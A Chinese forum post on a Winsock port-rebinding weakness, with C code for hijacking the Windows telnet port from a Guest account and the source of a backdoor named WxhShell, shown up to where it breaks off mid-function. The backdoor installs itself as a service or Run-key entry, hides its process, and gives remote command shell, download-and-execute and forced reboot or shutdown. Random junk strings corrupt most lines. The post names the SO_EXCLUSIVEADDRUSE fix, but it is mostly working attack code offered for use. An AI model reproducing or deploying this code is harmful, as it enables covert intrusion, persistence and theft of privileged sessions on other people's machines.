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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H:&?ha,9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |  FM }  
Jcf"#u-Q/  
  saddr.sin_family = AF_INET; P8yIegPY  
X~T/qFS   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C"<s/h  
TvhJVVQ+?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N0TeqOi4Y  
Iq5pAHm>M6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b}z`BRCc  
.#6MQJ]OH  
  这意味着什么?意味着可以进行如下的攻击: RNJ FSD.  
Va<H U:<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jRZ%}KX  
0NE{8O0;Fr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5a`%)K  
|WQ9a' '  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O_,O,1  
[uuj?Rbd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z5cYyx r>  
{a q9i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :> -1'HC  
nL `9l1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I`B'1"{  
iDb;_?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xp \S2@<  
u</8w&!  
  #include I+?hG6NM  
  #include rs8\)\z  
  #include B&KL2&Z~Pq  
  #include    {ShgJ ;! Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mB 55PYA  
  int main() 3Kq`<B~%  
  { \{|ImCH  
  WORD wVersionRequested; x-m/SI]_N  
  DWORD ret; _2Py\+$  
  WSADATA wsaData; OKue" p  
  BOOL val; sRRI3y@  
  SOCKADDR_IN saddr; dbGgD=}o  
  SOCKADDR_IN scaddr; c$M%G)P  
  int err; /Bv#) -5  
  SOCKET s; y.a]r7  
  SOCKET sc; 5N/Lk>p1u  
  int caddsize; |Ur"za;%@  
  HANDLE mt; >9K//co"of  
  DWORD tid;   n]? WCG}cd  
  wVersionRequested = MAKEWORD( 2, 2 ); S q@H  
  err = WSAStartup( wVersionRequested, &wsaData ); w<nv!e?  
  if ( err != 0 ) { kyUl{Zj  
  printf("error!WSAStartup failed!\n"); ISqfU]>[  
  return -1; 19u =W(  
  } v"lf-c  
  saddr.sin_family = AF_INET; 4YA./j%'  
   H[&@}v,L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 02b6s&L  
QTJu7^ O9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7XAvd-  
  saddr.sin_port = htons(23); pa/9F[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /XpSe<3  
  { ~ 9M!)\~  
  printf("error!socket failed!\n"); UZxmh sv  
  return -1; [~%`N*G  
  } &w\ I<J`T  
  val = TRUE; Zr/r2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gQVBA %  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e1(h</MU2  
  { RXSf,O  
  printf("error!setsockopt failed!\n"); __N.#c/l{  
  return -1; QApyP CH  
  } HkjEiU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .XH8YT42  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \_ow9vU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vgG}d8MW37  
%efGt6&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) " ~Q*XN2  
  { d0UZ+ RR#  
  ret=GetLastError(); sg?@qc=g  
  printf("error!bind failed!\n"); ZXXiL#^  
  return -1; #uvJH8)D  
  } "dCzWFet  
  listen(s,2); L]bVN)JU  
  while(1) <0j{ $.  
  { :=!Mh}i  
  caddsize = sizeof(scaddr); DdjCn`jqlf  
  //接受连接请求 2<6j1D^jM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z7#7N wy4  
  if(sc!=INVALID_SOCKET) Os&1..$Nb  
  {  H!eh J$[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -Zy)5NB-tZ  
  if(mt==NULL) kK[duW =6  
  { S!dHNA:iU  
  printf("Thread Creat Failed!\n"); c~Kc7}I  
  break; 7 `Du5>b8  
  } _/x& <,3  
  } 9M2f!kJP$  
  CloseHandle(mt); v*TeTA %  
  } WmVVR>0V|  
  closesocket(s); K8Zt:yP  
  WSACleanup(); 3 N%{B  
  return 0; tbG8MXX  
  }   sBjXE>_#)  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0X"\ a'M_  
  { I,P!@  
  SOCKET ss = (SOCKET)lpParam; O% $O(l  
  SOCKET sc; Jt=>-Spj  
  unsigned char buf[4096]; 19I:%$U3  
  SOCKADDR_IN saddr; n<R \w''x  
  long num; eE3-t/=  
  DWORD val; AzjMv6N   
  DWORD ret; e-6(F4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [m#NfA:h,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xs1bxJ_R  
  saddr.sin_family = AF_INET; kK?zVH-!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j#igu#MB*  
  saddr.sin_port = htons(23); sR79 K1*j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6VR[)T%  
  { u4"r>e6 _B  
  printf("error!socket failed!\n"); <Jwo?[a  
  return -1; L8P 36]>  
  } #v/ry)2Y=  
  val = 100; Oxa5Kfpa  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gpu_=9vzv  
  { Je~p%m#e;K  
  ret = GetLastError(); OmNn,PCl8  
  return -1; jsm0kz  
  } w%u5<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WOb8 "*OM  
  { dXZP[K#  
  ret = GetLastError(); ^x3EotQ\  
  return -1; I#c(J  
  } ;,`]O!G:P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6Ct0hk4  
  { x]' H jTqX  
  printf("error!socket connect failed!\n"); lC{L6&T  
  closesocket(sc); <9N4"d !A  
  closesocket(ss); XGk}e4;_  
  return -1; k~|ZO/X@l%  
  } BhkAQEsWTQ  
  while(1) G5u meqYC  
  { )0F^NU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /j %_t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S w "|iBZ@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Hdna{@~  
  num = recv(ss,buf,4096,0); J/[7d?hI/  
  if(num>0) zKMv7;s?  
  send(sc,buf,num,0); gix>DHq$k  
  else if(num==0) 24O d] f  
  break; %IU4\ZY>  
  num = recv(sc,buf,4096,0); o@',YF>OQ  
  if(num>0) 1:5P%$?b  
  send(ss,buf,num,0); Gl"wEL*  
  else if(num==0) ' tSnH&c  
  break; SZE`J:w  
  } (xQI($Wq*M  
  closesocket(ss); x{j+}'9  
  closesocket(sc); UL ck  
  return 0 ; 7_7xL(F/  
  } 'Ye]eL,I\  
#4lHaFq  
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========================================================== !8Y3V/)NU  
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下边附上一个代码,,WXhSHELL flPZlL  
WQTendS  
========================================================== b sMC#xT  
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#include "stdafx.h" Qw}xGlF,  
g\qX7nIH?  
#include <stdio.h> 6\XP|n-0+0  
#include <string.h> ^|r`"gOJ3  
#include <windows.h> EO"=\C,  
#include <winsock2.h> (+@faP   
#include <winsvc.h> EI<"DB   
#include <urlmon.h> 01-p `H+  
v  F]  
#pragma comment (lib, "Ws2_32.lib") j#CuR7m  
#pragma comment (lib, "urlmon.lib") ^?#@[4?"  
& 8zk3  
#define MAX_USER   100 // 最大客户端连接数 >[ @{$\?x:  
#define BUF_SOCK   200 // sock buffer YBR)s\*  
#define KEY_BUFF   255 // 输入 buffer l;XUh9RF`A  
C CC4(v  
#define REBOOT     0   // 重启 7%W!k zp>  
#define SHUTDOWN   1   // 关机 rffVfw  
`Nkx7Z~w:  
#define DEF_PORT   5000 // 监听端口 B6-AIPb  
/95FDk>  
#define REG_LEN     16   // 注册表键长度 )0'Y et}  
#define SVC_LEN     80   // NT服务名长度 Z=0iPy,m>  
CzK%x?~]  
// 从dll定义API UzXDi#Ky  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M_yZR^;^-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x/pC%25  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OX'/?B((  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hU |LFjc  
}o~Tw?z-|  
// wxhshell配置信息 )kFme=;  
struct WSCFG { ))c*_n  
  int ws_port;         // 监听端口 :Xb*m85y  
  char ws_passstr[REG_LEN]; // 口令 :/ ~):tM  
  int ws_autoins;       // 安装标记, 1=yes 0=no g8C+1G8  
  char ws_regname[REG_LEN]; // 注册表键名 9c#L{in  
  char ws_svcname[REG_LEN]; // 服务名 D-;J;m \  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z?5,cI[6#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u!sSgx =  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9t,aT!f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SZNFE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A)=X?x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }Ox2olUX  
dP$y>%cB  
}; tW'qO:y+  
IO?~b XP  
// default Wxhshell configuration [I#Q  
struct WSCFG wscfg={DEF_PORT, b=6ZdN1  
    "xuhuanlingzhe", = .fc"R|<K  
    1, 8f5%xY$  
    "Wxhshell", 5;r({ J  
    "Wxhshell", c`Lpqs`  
            "WxhShell Service", **"zDY*?W  
    "Wrsky Windows CmdShell Service", #MmmwPB_  
    "Please Input Your Password: ", \Qe'?LRu{  
  1, $u/8Rp  
  "http://www.wrsky.com/wxhshell.exe",  ] I N -  
  "Wxhshell.exe" Z3&XTsq  
    };  ."$=  
Py(wT%w  
// 消息定义模块 Cf8R2(-4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7!]k#|u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :Map,]]B_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p;)klH@X  
char *msg_ws_ext="\n\rExit."; G5C#i7cpm  
char *msg_ws_end="\n\rQuit."; #CBo  
char *msg_ws_boot="\n\rReboot..."; ^^U)WB  
char *msg_ws_poff="\n\rShutdown..."; ~XN]?5GQf  
char *msg_ws_down="\n\rSave to "; mo97GW  
lUm}nsp=X  
char *msg_ws_err="\n\rErr!"; ]7Xs=>"Iw  
char *msg_ws_ok="\n\rOK!"; 3M5=@Fwkr  
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char ExeFile[MAX_PATH]; HvL9;^!  
int nUser = 0; eFeCS{LV+  
HANDLE handles[MAX_USER]; ** "s~  
int OsIsNt; s`dkEaS  
./z"P]$  
SERVICE_STATUS       serviceStatus; _'o^@v:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \p_8YC  
n,R[O_9u[  
// 函数声明 D(2kb  
int Install(void); b]s%B.h  
int Uninstall(void); m78MWz]Yo  
int DownloadFile(char *sURL, SOCKET wsh); ff2.| 20  
int Boot(int flag); FkkZyCqZ`  
void HideProc(void); ?PH}b?f4  
int GetOsVer(void); xHR+((  
int Wxhshell(SOCKET wsl); $T@xnZ  
void TalkWithClient(void *cs); :+X2>Lu$FA  
int CmdShell(SOCKET sock); M`f;-  
int StartFromService(void); %)!~t8To  
int StartWxhshell(LPSTR lpCmdLine); RI< Yg#   
~P.-3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4h0jX 9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m0q`A5!)  
W.7d{ @n  
// 数据结构和表定义 TPmZ/c^  
SERVICE_TABLE_ENTRY DispatchTable[] = ~N+/ZVo&y  
{ XzTH,7[n  
{wscfg.ws_svcname, NTServiceMain}, =.3P)gY)  
{NULL, NULL} V-o`L`(F`  
}; _yXeX  
e#Zf>hlAz  
// 自我安装 ,1.([%z+r  
int Install(void) L M<=j  
{ \$0 x8B   
  char svExeFile[MAX_PATH]; hghto \G5Y  
  HKEY key; x%Y a*T  
  strcpy(svExeFile,ExeFile); DqC}f#  
`W;cft4  
// 如果是win9x系统,修改注册表设为自启动 E* DVQ3~  
if(!OsIsNt) { wh[:wE]eX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8Nl|\3nl-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J7aK3 he  
  RegCloseKey(key); ^_"q`71Dk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K^1O =1gY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cbHn\m)J,  
  RegCloseKey(key); "5z6~dq  
  return 0; @):NNbtA  
    } Bo\dt@0;  
  } R<YYf^y  
} jn3|9x  
else { h,RUL  
)@&?i.  
// 如果是NT以上系统,安装为系统服务 r:\5/0(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nfPl#]ef*  
if (schSCManager!=0) {UVm0AeUq  
{ JnKbd~  
  SC_HANDLE schService = CreateService GeW$lA I  
  ( c#-97"_8  
  schSCManager, d"$oV~>P|  
  wscfg.ws_svcname, 9tW.}5V  
  wscfg.ws_svcdisp, #K~j9DuR  
  SERVICE_ALL_ACCESS, XQoT},C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?9ho|  
  SERVICE_AUTO_START, ^T J   
  SERVICE_ERROR_NORMAL, ("@V{<7(t  
  svExeFile, 5 WNRo[`7  
  NULL, FZI 4?YD?<  
  NULL, h],%va[  
  NULL, 7)8}8tY^{  
  NULL, Ac(Vw%  
  NULL 4I[FE;^  
  ); #YMp,i  
  if (schService!=0) <$Kv^Y*  
  { \EfwS% P  
  CloseServiceHandle(schService); |@9I5Eg)iE  
  CloseServiceHandle(schSCManager); &@Gu~)^(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m.g@S30  
  strcat(svExeFile,wscfg.ws_svcname); vpw&"?T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .L|ax).D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X!+ a;wr  
  RegCloseKey(key); P!&CH4+  
  return 0; CoN/L`.SN  
    } 80" =Qu{s  
  } Br$PL&e~  
  CloseServiceHandle(schSCManager); u! FSXX<  
} )h!l%72  
} Yt<PKs#E  
!rqR]nd  
return 1; l,2z5p  
} V.[#$ip6:  
~O7(0RsCN  
// 自我卸载 ]6[d-$#^ko  
int Uninstall(void) y!D`.'  
{ NjyIwo0  
  HKEY key; <;Z3 5 {  
%>U*A  
if(!OsIsNt) { @BW8`Ky1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZvKMRW  
  RegDeleteValue(key,wscfg.ws_regname); |dzF>8< )  
  RegCloseKey(key); ~,65/O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'i-O  
  RegDeleteValue(key,wscfg.ws_regname); n^)9QQ  
  RegCloseKey(key); .v&h>@'m  
  return 0; nY0UnlB`  
  } ,DO mh<b  
} |6Z M xY  
} ">&:(<  
else { ?i=!UN  
<vuX " 8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;i?!qB>baX  
if (schSCManager!=0) TRok4uc  
{ odn`%ok  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qP'g}Pc  
  if (schService!=0) M\6v}kUY  
  { >U/g*[>  
  if(DeleteService(schService)!=0) { TAoR6aE  
  CloseServiceHandle(schService); |;-r};  
  CloseServiceHandle(schSCManager); L2$L.@  
  return 0; D*Q#G/TF3  
  } /8HO7E+5  
  CloseServiceHandle(schService); OkUpgXU  
  } bD-Em#>  
  CloseServiceHandle(schSCManager); <\EfG:e  
} GLF"`M/g  
} <%7 V`,*g/  
cTTE] ix]  
return 1; sZDJ+  
} .u?$h0u5  
Y/(-mcR  
// 从指定url下载文件 e;[8 GE.   
int DownloadFile(char *sURL, SOCKET wsh)  nGd  
{ I@M^Wu]wW  
  HRESULT hr; wKbymmG  
char seps[]= "/"; % "^XxVJ*  
char *token; X5<.%@Z  
char *file; B '/ >Ax&  
char myURL[MAX_PATH]; 0.0!5D[  
char myFILE[MAX_PATH]; 1hS~!r'qqv  
x@}Fn:c!5  
strcpy(myURL,sURL); ,O!aRvzap  
  token=strtok(myURL,seps); Z$XpoDbOy  
  while(token!=NULL) LS$82UB&  
  { h'KtG<+  
    file=token; .U%"oD  
  token=strtok(NULL,seps); rv%[?Ml  
  } }O  
l$9,  
GetCurrentDirectory(MAX_PATH,myFILE); 74(J7  
strcat(myFILE, "\\"); 1iDo$]TEK  
strcat(myFILE, file); Af<>O$$6  
  send(wsh,myFILE,strlen(myFILE),0); W10fjMC}^  
send(wsh,"...",3,0); /D+$|k mW]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fC|u  
  if(hr==S_OK) ;P~S/j[ 8  
return 0; Q>yt O'v1  
else .Tv(1HAc2l  
return 1; 9#6/c  
#Q7$I.O]  
} N Z`hy>LF^  
6Qu*'  
// 系统电源模块 FM[To  
int Boot(int flag) RY< b]|  
{ Uk6!Sb  
  HANDLE hToken; )&Bv\Tfjt  
  TOKEN_PRIVILEGES tkp; j}l8k@f  
3>Snd9Q  
  if(OsIsNt) { @~3c;9LkY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8l0 (6x$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n#cN[C9  
    tkp.PrivilegeCount = 1; 7`!( 8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W F<V2o{k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %'z3es0  
if(flag==REBOOT) { 1}*;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jo<6M'  
  return 0; !g"9P7p  
} *, K \A  
else { T@.D5[q0:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;i>E @  
  return 0; |lV9?#!  
} W|U1AXU7/  
  } edx'p`%d5  
  else { U^\~{X  
if(flag==REBOOT) { BH a>2N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6QQ oHYtZ  
  return 0; <vDm(-i3  
} ?%Fk0E#>2  
else { w}q"y+=Z:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =:eE!  
  return 0; z?[DW*  
} k)Wz b  
} F DX+  
F9w&!yW:  
return 1; f34&:xz2U  
} G|_aU8b|t  
!yrHVc  
// win9x进程隐藏模块 926oM77  
void HideProc(void) "@$STptkc  
{ ?UDO%`X  
)A=g# D#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yfQE8v+  
  if ( hKernel != NULL ) faX#KRpfd  
  { MX,0gap  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [bJnl>A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G[j79o  
    FreeLibrary(hKernel); ]M;! ])b$  
  } ^/vWK\-  
sb.SpF>   
return; |>GIPfVT  
} ^#se4qQ  
-74T C  
// 获取操作系统版本 >/bK?yT<  
int GetOsVer(void) DjvgKy=Jr_  
{ 0EXNq*=EE  
  OSVERSIONINFO winfo; y/eX(l<{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Un{ln*AR\  
  GetVersionEx(&winfo); 1s[-2^D+EM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'U$VO q?!  
  return 1; !Jl0Eu  
  else [HDO^6U  
  return 0; o1+]6s+j}  
} :exuTn  
',Pk>f]AB-  
// 客户端句柄模块 x~tQYK   
int Wxhshell(SOCKET wsl) % 6.jh#C  
{ 'fFdqsXr  
  SOCKET wsh; m]q!y3  
  struct sockaddr_in client; aZ`ags ofk  
  DWORD myID; ; @~*z4U  
:Xh`.*{EX  
  while(nUser<MAX_USER) QC,(rB  
{ KdsvZim0>  
  int nSize=sizeof(client); "e<. n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z}8L}:  
  if(wsh==INVALID_SOCKET) return 1; :=v{inN  
-wMW@:M_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b)^ZiRW``  
if(handles[nUser]==0) u?Mu*r?  
  closesocket(wsh); IkNt! 2s_  
else ~ O=|v/]  
  nUser++; 6'! {0 5=m  
  } =2)t1 H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^T6!z^g1h  
8w?\_P7QA  
  return 0; 8;&S9'ci  
} g@VndAp  
_rdj,F8  
// 关闭 socket 0(9@GIT  
void CloseIt(SOCKET wsh) <dPxy`_  
{ $!C+i"q$  
closesocket(wsh); cY'To<v  
nUser--; 4,ynt&  
ExitThread(0); lILtxVBO2o  
} F>(#Af9  
BG0M j2  
// 客户端请求句柄 X`QW(rq  
void TalkWithClient(void *cs) ?$4R <  
{ E wsq0D  
zb}+ m#q  
  SOCKET wsh=(SOCKET)cs; w?W e|x3  
  char pwd[SVC_LEN]; :P~& b P  
  char cmd[KEY_BUFF]; H<7DcwXv  
char chr[1]; Ilu`b|%D  
int i,j; G2{M#H  
RTBBb:eX  
  while (nUser < MAX_USER) { ;Jn0e:x`E  
-7z y  
if(wscfg.ws_passstr) { *oX]=u&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &dDI*v+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _Ge^ -7  
  //ZeroMemory(pwd,KEY_BUFF); 5=h'!|iY  
      i=0; 1$D`Z/N"A  
  while(i<SVC_LEN) { e0WSHg=6@  
|aAWW d5  
  // 设置超时 )-:eQ{st`  
  fd_set FdRead; *@n3>$  
  struct timeval TimeOut; iZ6C8HK&&  
  FD_ZERO(&FdRead); vcJb\LW  
  FD_SET(wsh,&FdRead); f"<@6Axq  
  TimeOut.tv_sec=8; 7h#faOP  
  TimeOut.tv_usec=0; C2=iZ`Z>T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J$9xC{L4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3kqV_Pjg  
xZ=FH>Y6'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8w8I:*  
  pwd=chr[0]; Fxth> O`$  
  if(chr[0]==0xd || chr[0]==0xa) { j[J@tM#  
  pwd=0; ]{2{:`s  
  break; Q] yT  
  } 0 ij~e<  
  i++; X$|TN+Ub  
    } !eAdm  
!:O/|.+Vmf  
  // 如果是非法用户,关闭 socket OV("mNh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $:BK{,\  
} *(&ClUQQ  
.4C[D{4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lr?4Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n &\'Hm  
-wRyMY_ D  
while(1) { Jt>[]g$  
,*nZf|  
  ZeroMemory(cmd,KEY_BUFF); DR yESi  
XL7;^AE^Wl  
      // 自动支持客户端 telnet标准   _95}ifSVm  
  j=0; (4 /]dTb  
  while(j<KEY_BUFF) { zdjM%l);  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {~p7*j^0  
  cmd[j]=chr[0]; Ng'ZAG;O  
  if(chr[0]==0xa || chr[0]==0xd) { <{NYD .  
  cmd[j]=0; 42J';\)oP  
  break; Z'}(t,  
  } Z ]aK'  
  j++; OSa}8rlr'  
    } G V:$;  
si^4<$Nr%j  
  // 下载文件 lsB9;I^+x  
  if(strstr(cmd,"http://")) { Y1fy2\<'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5rfH;`  
  if(DownloadFile(cmd,wsh)) ||=[kjG~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  M<Wn]}7!  
  else kBy rhK5U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &>W  (l.  
  } aVQSN  
  else { z;y^t4 ^9  
< g3du~  
    switch(cmd[0]) { 8Q^6ibE  
  hg?j)jl|  
  // 帮助 \]T=j#.S$  
  case '?': { 5?5- ;H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RGl=7^M  
    break; vv2vW=\  
  } >~5lYD  
  // 安装 gV"qV   
  case 'i': { #+K Kvk  
    if(Install()) .~.``a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @K$VV^wp  
    else OU,PO2xX9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v[{8G^Z}54  
    break; PPoI>J  
    } RgB6:f,  
  // 卸载 W\@?e32  
  case 'r': { .M9d*qp`S  
    if(Uninstall()) aO.\Qe+j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aho'|%y)  
    else cOSxg=~>u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eyeNrk*2o  
    break; [G{rHSK5tQ  
    } CM%|pB/z  
  // 显示 wxhshell 所在路径 NP K#].F  
  case 'p': { V_&GYXx(J  
    char svExeFile[MAX_PATH]; Zm%VG(l  
    strcpy(svExeFile,"\n\r"); kmm  
      strcat(svExeFile,ExeFile); E rop9T1  
        send(wsh,svExeFile,strlen(svExeFile),0); @br@[RpB  
    break; _0'm4?"  
    } p?+lAbe6H  
  // 重启 RAIVdQ}.Z  
  case 'b': { =?/N5O(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7 I_1 #O  
    if(Boot(REBOOT)) B4]AFRI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N\9}\Rk@  
    else { xGYSi5}z  
    closesocket(wsh); EY+/.=$x  
    ExitThread(0); XR*Q|4  
    } QS3U)ZO$@  
    break; 9[cp7 Rcb  
    } fCgBH~w,9  
  // 关机 eeuZUf+~]  
  case 'd': { :GU,EDps  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L|&'jH)  
    if(Boot(SHUTDOWN)) $.H:8^W  
